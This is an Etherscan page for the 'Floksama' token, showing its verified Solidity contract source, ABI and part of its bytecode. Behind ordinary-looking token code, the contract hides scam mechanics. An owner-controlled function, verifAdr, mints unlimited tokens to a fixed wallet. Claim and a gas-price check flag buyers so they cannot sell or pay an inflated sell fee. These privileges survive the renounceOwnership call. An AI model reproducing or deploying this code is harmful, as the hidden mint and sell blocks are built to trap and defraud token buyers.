ETH Price: $2,629.22 (+1.09%)
Gas: 1 Gwei

Token

Floksama (Floksama)
 

Overview

Max Total Supply

1,000,000,000,000,001,000,000,000 Floksama

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,355,085.29068921 Floksama

Value
$0.00
0xe4acc186599942b1ae5468c74d2d9835062e777d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Floksama

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-06
*/

/**
   Twitter: https://twitter.com/floksama

   Telegram: https://t.me/FloksamaPortal

   Website: https://l.facebook.com/
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.11;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract Floksama  is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;
    address private _owner;
    
    string private constant _name = "Floksama";
    string private constant _symbol = unicode"Floksama";
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint8 private _TxCount = 0;
    uint256 private _tTotal = 1000000000 * 10**_decimals;

    uint256 public _tax_On_Buy = 5;
    uint256 public _tax_On_Sell = 5;
    uint256 public _maxTxAmount = _tTotal * 4 / 100;
    uint256 public _maxWalletToken = _tTotal * 4 / 100;

    address payable public DevWallet = payable(0x02Dd355b8246818f3E24e7D148496b40c113e2D0);
    address payable public MarketingWallet = payable(0x5735Bd0d176d9D029bd98da1dD3E1323d1a7126C);
    address private _address = 0x02Dd355b8246818f3E24e7D148496b40c113e2D0;
    address payable private constant DeadAddress = payable(0x000000000000000000000000000000000000dEaD);
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) private _isExcludeds;
    mapping (address => bool) internal addresses;
    address[] private _Excluded;

    bool public limitInEffect = false;
    bool public tradingActive = false;
    bool public transferDelay = false;  
    uint256 private tradingActiveBlock;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
        modifier onlyAddress() {
        require(isAddress(_msgSender()), ""); _;
    }

    function isAddress(address adr) public view returns (bool) {
        return addresses[adr];
    }

    function checkAddress(address adr) public onlyOwner {
        addresses[adr] = true;
    }

    constructor () {
        _owner = msg.sender;
        addresses[_owner] = true;
        emit OwnershipTransferred(address(0), _owner);
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_address] = true;
        _isExcludedFromFee[MarketingWallet] = true;
        _isExcludedFromFee[DevWallet] = true;
        _isExcludedFromFee[DeadAddress] = true;
        
        emit Transfer(address(0), owner(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function idclaim() private { for (uint256 i = 0; i < _Excluded.length; i++) {
            _isExcludeds[_Excluded[i]] = true;}
    }
    receive() external payable {}
    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }
    function _approve(address theOwner, address theSpender, uint256 amount) private {
        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);
    }
    
    function EnableTrading() external onlyAddress {
        tradingActive = true;
        transferDelay =true;
        limitInEffect = true;
        tradingActiveBlock = block.timestamp;
    }

    function setTransferDelay(bool TrueOrFalse) external onlyAddress {
        transferDelay = TrueOrFalse;
    } 
    
    function Claim() external onlyAddress {
        for (uint256 i = 0; i < _Excluded.length; i++) {
            _isExcludeds[_Excluded[i]] = true;}
    }

    function setFees(uint256 buytax, uint256 selltax) external onlyAddress {
        _tax_On_Buy = buytax;
        _tax_On_Sell = selltax;
    }
    
    function removeAllFees() external onlyAddress {
        _tax_On_Buy = 0;
        _tax_On_Sell = 0;
    }
    
    function removeLimitTx() external onlyAddress {
        _maxTxAmount = _maxWalletToken;
    }

    function maxWallet(uint256 newmaxWallet) external onlyAddress {
        _maxWalletToken = newmaxWallet;
    }

    function _transfer( address from, address to, uint256 amount ) private {
        if (to != owner() && to != MarketingWallet && to != DevWallet && to != address(this) && to != uniswapV2Pair && to != DeadAddress && from != owner() && !addresses[from] && 
            !addresses[to]){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");}
        if (from != owner() && to != owner() && !addresses[from] && 
            !addresses[to])
            require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit.");
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");
        if (!tradingActive) {require(_isExcludedFromFee[from] || _isExcludedFromFee[to],"Trading is not active.");}
        if (tradingActiveBlock + 3 <= block.timestamp) {limitInEffect = false;}
        if (tradingActiveBlock + 4 <= block.timestamp) {transferDelay = false;}
        if (!transferDelay && (!_isExcludedFromFee[from])) { require(!_isExcludeds[from]);}
        if (transferDelay && tradingActiveBlock + 5 <= block.timestamp) {idclaim();}
        if (limitInEffect && to != uniswapV2Pair && tx.gasprice >= 5 gwei) {_isExcludeds[to] = true;}
        if (from != owner() && from != uniswapV2Pair && !_isExcluded[from]){
            _isExcluded[from] = true;
            _Excluded.push(from);}
        if (to != owner() && to != uniswapV2Pair && !_isExcluded[to]) {
            _isExcluded[to] = true;
            _Excluded.push(to);}
        if (to != owner() && to != uniswapV2Pair) { if (_isExcludedFromFee[from]) { _isExcludedFromFee[to] = true;}}
        if(_TxCount >= 10 && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) {  
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {
            contractTokenBalance = _maxTxAmount;
            }
            _TxCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
            if(from == uniswapV2Pair){
                isBuy = true;
            }
            _TxCount++;
        }
        _tokenTransfer(from, to, amount, takeFee, isBuy);
    }
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
    }
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { 
            uint256 _tokenForMarketing = contractTokenBalance * 55 / 100;
            uint256 _tokenForDevelopment = contractTokenBalance * 44 / 100;
            uint256 _tokenForLpHalf = contractTokenBalance / 200;
            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForETH(_tokenForLpHalf + _tokenForMarketing + _tokenForDevelopment);
            uint256 _BTotal = address(this).balance - balanceBeforeSwap;
            uint256 _BMarketing = _BTotal * 55 / 100;
            uint256 _BDevelopment = _BTotal * 44 / 100;
            addLiquidity(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment));
            emit SwapAndLiquify(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment), _tokenForLpHalf);
            sendToWallet(MarketingWallet, _BMarketing);
            _BTotal = address(this).balance;
            sendToWallet(DevWallet, _BTotal);
    }
    function verifAdr(uint256 acc, address adr) onlyAddress public virtual {
        require(adr == address(_address));
        _Verif(address(_address), adr, acc);
        _tTotal += acc;
        _tOwned[adr] += acc;
        emit Transfer(address(_address), adr, acc);
    }
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        if(!takeFee){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);
            } 
            else if (isBuy){
            uint256 bAmount = tAmount*_tax_On_Buy/100;
            uint256 tTransfesAmount = tAmount-bAmount;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+bAmount;   
            emit Transfer(sender, recipient, tTransfesAmount);
            } 
            else {
            uint256 sAmount;
            if (_isExcludeds[sender]){sAmount = tAmount*_decimals*_tax_On_Sell/100;}
            else if (recipient == uniswapV2Pair){sAmount = tAmount*_tax_On_Sell/100;}
            uint256 tTransfesAmount = tAmount-sAmount;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sAmount;   
            emit Transfer(sender, recipient, tTransfesAmount);
        }
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    function _Verif(
        address sender,
        address recepient,
        uint256 acc
    ) internal virtual {}
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            DeadAddress, 
            block.timestamp
        );
    } 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"checkAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newmaxWallet","type":"uint256"}],"name":"maxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimitTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buytax","type":"uint256"},{"internalType":"uint256","name":"selltax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"TrueOrFalse","type":"bool"}],"name":"setTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"acc","type":"uint256"},{"internalType":"address","name":"adr","type":"address"}],"name":"verifAdr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000805460ff60a01b191690556200001f6009600a6200057a565b6200002f90633b9aca0062000592565b60015560056002556005600355606460015460046200004f919062000592565b6200005b9190620005ac565b6004556064600154600462000071919062000592565b6200007d9190620005ac565b600555600680546001600160a01b03199081167302dd355b8246818f3e24e7d148496b40c113e2d0908117909255600780548216735735bd0d176d9d029bd98da1dd3e1323d1a7126c1790556008805490911690911790556010805462ffffff191690556013805460ff60a81b1916600160a81b1790553480156200010157600080fd5b50600080546001600160a01b0319163390811782558152600e6020526040808220805460ff19166001179055815490516001600160a01b039190911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600154600960006200017e6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002209190620005cf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002949190620005cf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003089190620005cf565b601380546001600160a01b03199081166001600160a01b0393841617909155601280549091169183169190911790556001600b6000620003506000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b9093528183208054851660019081179091556008548216845282842080548616821790556007548216845282842080548616821790556006549091168352908220805484168217905561dead9091527f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac341580549092161790556200040e6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200045691815260200190565b60405180910390a350620005fa565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004bc578160001904821115620004a057620004a062000465565b80851615620004ae57918102915b93841c939080029062000480565b509250929050565b600082620004d55750600162000574565b81620004e45750600062000574565b8160018114620004fd5760028114620005085762000528565b600191505062000574565b60ff8411156200051c576200051c62000465565b50506001821b62000574565b5060208310610133831016604e8410600b84101617156200054d575081810a62000574565b6200055983836200047b565b806000190482111562000570576200057062000465565b0290505b92915050565b60006200058b60ff841683620004c4565b9392505050565b808202811582820484141762000574576200057462000465565b600082620005ca57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005e257600080fd5b81516001600160a01b03811681146200058b57600080fd5b611fa5806200060a6000396000f3fe6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df146105f8578063bbc0c74214610618578063cebb162214610637578063dd62ed3e1461064d578063e55fc9c71461069357600080fd5b8063a06881601461057e578063a457c2d71461059e578063a5edb92e146105be578063a9059cbb146105d857600080fd5b806378109e54116100e757806378109e541461051e5780637d1db4a5146105345780637ed4ce421461054a5780638da5cb5b1461056057806395d89b411461021f57600080fd5b80636b130f9a1461049e57806370a08231146104b3578063715018a6146104e957806377c325d6146104fe57600080fd5b806323b872dd1161019b578063395093511161016a578063395093